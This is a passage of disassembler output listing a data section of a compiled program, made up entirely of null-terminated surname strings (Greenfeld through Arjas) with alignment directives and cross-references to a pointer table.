aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E364o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E360o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E35Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E358o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E354o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E350o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E34Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E348o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E344o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E340o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E33Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E338o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E334o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E330o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042E32Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042E328o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E324o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E320o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E31Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E318o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E314o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E310o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E30Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E308o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E304o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E300o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E2FCo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E2F8o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E2F4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E2F0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2ECo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2E8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2E4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2E0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2DCo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2D8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2D4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2D0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2CCo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2C8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E2C4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042E2C0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E2BCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E2B8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E2B4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E2B0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E2ACo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E2A8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E2A4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E2A0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E29Co
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E298o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042E294o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E290o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E28Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E288o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E284o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E280o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E27Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E278o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E274o
aFink		db 'Fink',0             ; DATA XREF: ___:0042E270o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042E26Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042E268o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E264o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E260o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E25Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E258o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E254o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E250o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E24Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E248o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042E244o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E240o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E23Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E238o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E234o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E230o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E22Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E228o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E224o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E220o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E21Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E218o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E214o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E210o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E20Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042E208o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E204o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E200o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E1FCo
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E1F8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E1F4o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E1F0o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1ECo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1E8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1E4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1E0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1DCo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1D8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1D4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1D0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1CCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1C8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E1C4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E1C0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E1BCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E1B8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E1B4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E1B0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E1ACo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E1A8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E1A4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E1A0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E19Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E198o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042E194o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E190o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E18Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E188o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E184o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E180o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E17Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E178o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E174o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E170o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E16Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E168o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E164o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E160o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E15Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E158o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E154o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E150o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E14Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E148o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E144o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E140o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E13Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E138o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E134o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E130o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E12Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E128o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E124o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E120o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E11Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E118o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E114o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E110o
aDavid		db 'David',0            ; DATA XREF: ___:0042E10Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E108o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E104o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042E100o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E0FCo
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E0F8o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042E0F4o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E0F0o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0ECo
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0E8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0E4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0E0o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0DCo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0D8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0D4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0D0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0CCo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0C8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E0C4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E0C0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E0BCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E0B8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E0B4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E0B0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E0ACo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E0A8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E0A4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E0A0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E09Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E098o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E094o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E08Co
					; ___:0042E090o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E088o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E084o
aColella	db 'Colella',0          ; DATA XREF: ___:0042E080o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E07Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E078o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E074o
aClow		db 'Clow',0             ; DATA XREF: ___:0042E070o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E06Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042E068o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E064o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E060o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E05Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E058o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E054o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E050o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042E04Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E048o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E044o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E040o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E03Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E038o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E034o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E030o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E02Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E028o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042E024o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042E020o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042E01Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042E018o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042E014o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042E010o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042E00Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042E008o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042E004o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042E000o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DFFCo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DFF8o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DFF4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DFF0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFECo
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042DFE8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFE4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFE0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFDCo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFD8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFD4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFD0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFCCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFC8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DFC4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DFC0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DFBCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DFB8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DFB4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DFB0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DFACo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DFA8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DFA4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DFA0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DF9Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DF98o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DF94o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DF90o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF8Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF88o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF84o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF80o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF78o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF74o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF70o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF6Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF68o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF64o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF60o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF58o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF54o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF50o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF4Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF48o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF40o
					; ___:0042DF44o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF3Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF38o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF34o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF30o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF2Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF28o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DF24o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DF20o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DF1Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DF18o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DF14o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DF10o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DF0Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DF08o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DF04o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DF00o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DEFCo
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DEF8o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DEF4o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DEF0o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEECo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEE8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEE4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEE0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEDCo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042DED8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DED4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DED0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DECCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DEC8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DEC4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DEC0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DEBCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DEB8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DEB4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DEB0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DEACo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DEA8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DEA4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DEA0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DE9Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DE98o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DE94o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DE90o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE8Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE88o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE84o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE80o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE7Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE78o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE74o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE70o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE6Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE68o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE64o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE60o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE5Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE58o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE54o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE50o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE4Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE48o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE44o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE40o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE3Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE38o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE34o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE30o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE2Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE28o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DE24o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DE20o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DE1Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042DE18o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DE14o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DE10o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DE0Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DE08o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DE04o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DE00o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DDFCo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DDF8o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DDF4o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DDF0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDECo
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDE8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDE4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDE0o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDDCo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDD8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDD4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDD0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDCCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDC8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDC0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDBCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDB0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDACo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDA4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDA0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DD9Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DD98o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DD94o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DD90o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD8Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD88o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD84o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD80o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD7Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD78o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD74o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD70o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD6Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD68o
		align 4
